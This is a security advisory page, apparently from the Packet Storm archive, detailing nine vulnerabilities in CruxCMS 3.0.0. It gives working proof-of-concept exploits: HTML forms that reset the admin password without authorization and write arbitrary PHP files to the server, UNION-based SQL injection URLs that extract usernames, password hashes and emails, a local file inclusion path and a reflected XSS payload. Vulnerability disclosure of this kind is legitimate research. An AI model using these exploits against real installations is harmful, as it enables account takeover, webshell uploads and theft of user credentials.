what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

CruxCMS 3.0.0 Bypass / Shell Upload / SQL Injection / XSS / LFI

CruxCMS 3.0.0 Bypass / Shell Upload / SQL Injection / XSS / LFI
Posted Dec 27, 2010
Authored by Janek Vind aka waraxe | Site waraxe.us

CruxCMS version 3.0.0 suffers from cross site scripting, local file inclusion, authentication bypass, shell upload, and remote SQL injection vulnerabilities.

tags | exploit, remote, shell, local, vulnerability, xss, sql injection, file inclusion
SHA-256 | 5375e0a5494a05b2ea69af210a5d3d1856065f95387bd5c4db520a4274857a70

CruxCMS 3.0.0 Bypass / Shell Upload / SQL Injection / XSS / LFI

Change Mirror Download
[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS 3.0.0
===============================================================================

Author: Janek Vind "waraxe"
Date: 27. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-78.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CruxCMS is a lightweight, easy to use website content management system (CMS).
It is written in PHP and uses the powerful MySQL database.

http://www.cruxsoftware.co.uk/cruxcms.php


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against CruxCMS version 3.0.0

###############################################################################
1. Unauthorized password reset in "manager/passwordreset.php"
###############################################################################

Reason: directly accessible php script
Attack vectors: user submitted POST parameters "ID" and "Password"
Preconditions: none
Impact: attacker can take over CruxCMS admin account

Php script "manager/passwordreset.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
include ("../includes/injectionprevention.php");

$ID = numericquery($_POST["ID"]) ;

if (isset($ID)) {

$Password = preventinjection($_POST["Password"]);
$Password2 = md5($Password);

//Connect to database
include ("../includes/dbinfo.php");

// Insert data
$sqlquery = "UPDATE " . usersdb . " SET "
."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'";

$results = mysql_query($sqlquery);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/passwordreset.php" method="post">
<input type="hidden" name="ID" value="1">
<input type="hidden" name="Password" value="waraxe">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------


###############################################################################
2. Arbitrary file upload in "manager/processeditor.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
Impact: attacker is able to write remote php files to any location.

Php script "manager/processeditor.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
$Name = preventinjection($_POST["name"]) ;
if (isset($_POST['Type'])) {
$Type = $_POST['Type'];
}

..

$head = $_POST["head"] ;
$headlink = $Name . ".php";

if ($Type == "Add") {

..

$fileopen = fopen($headlink, 'w') or die("can't open file");
fwrite($fileopen, $head);
fclose($fileopen);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processeditor.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processeditor.php" method="post">
<input type="hidden" name="Type" value="Add">
<input type="hidden" name="name" value="../images/info">
<input type="hidden" name="head" value="<?phpinfo();?>">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "images" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/images/info.php


###############################################################################
3. Arbitrary file upload in "manager/processfile.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processfile.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processfile.php"
enctype="multipart/form-data" method="post"method="post">
<input type="hidden" name="Action" value="Add">
<input type="file" name="uploadedfile" size="40">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "Uploads/Misc/" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php

As seen above, random string ("38656" in this specific example) is concatenated
to the filename. For successful exploitation therefore two options exists:

a) if webserver directory listing is enabled, then filename can be easily found
b) bruteforce is possible -> ~100 000 tries needed max for filename guessing


###############################################################################
4. SQL Injection in "includes/classes/searchbox.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Search Box must be activated (active by default)
2. Search must return at least one result
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/searchbox.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
..
$query_fields = "p.Title p.Content";
$query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM " . pagesdb . " p WHERE ";
$query = $query . boolstring2sql_query($query_fields, $query_text);
$query = $query . " AND p.Archive = 'No'";
$query = $query . " LIMIT $from, $max_results";
$query = $query . ";";
..
$sql_result = mysql_query($query , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
5. SQL Injection in "includes/classes/links.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Link Pages must be activated (inactive by default)
2. At least one link must exist
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/links.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
..
$sql = "SELECT * FROM " . linksdb . " LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users

As result we can see sensitive user data from database.


###############################################################################
6. SQL Injection in "includes/classes/news.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. News Pages must be activated (inactive by default)
2. At least one news must exist
3. MySQL FILE Privileges needed (rare in real-world attack scenarios)
4. Php setting magic_quotes_gpc=off needed (usually it's "On")
5. attacker must have News editing privileges
6. full path must be know to the directory, which is writable by MySQL UID/user
Impact: limited SQL Injection - if all conditions above are met, then it may be
possible writing files to the remote system, where MySQL daemon/service is installed

Source code snippet from "includes/classes/news.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
..
$sql = "SELECT * FROM " . newsdb . " ORDER BY Date DESC LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
This vulnerability differs from previous cases, because there is "ORDER BY"
before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method
useless and only exploitation possibility seems to be "INTO OUTFILE". Many
conditions are needed for such exploitation (see above), so specifix SQL
Injection case can be considered as minor one.


###############################################################################
7. Local File Inclusion in "includes/template.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "style"
Preconditions:
1. Php setting "register_globals=on" needed

Example exploit:

http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif


###############################################################################
8. Reflected XSS in "manager/login.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "message"
Preconditions: none

Example exploit:

http://localhost/cruxcms.3.0.0/manager/login.php?message=<script>alert(123);</script>


###############################################################################
9. Full Path Disclosure in multiple php scripts
###############################################################################

Examples:

http://localhost/cruxcms.3.0.0/manager/switcher.php?style[]

Warning: setcookie() expects parameter 2 to be string, array given in
C:\apache_wwwroot\cruxcms.3.0.0\manager\switcher.php on line 24


http://localhost/cruxcms.3.0.0/search.php?search[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:\apache_wwwroot\cruxcms.3.0.0\includes\classes\searchbox.inc.php on line 40


http://localhost/cruxcms.3.0.0/manager/filetypes.php

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in
C:\apache_wwwroot\cruxcms.3.0.0\manager\filetypes.php on line 24

http://localhost/cruxcms.3.0.0/styles/andreas01.php

Warning: include(includes/functions.php) [function.include]: failed to open stream:
No such file or directory in C:\apache_wwwroot\cruxcms.3.0.0\styles\andreas01.php on line 36



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://userguidenow.com/
---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close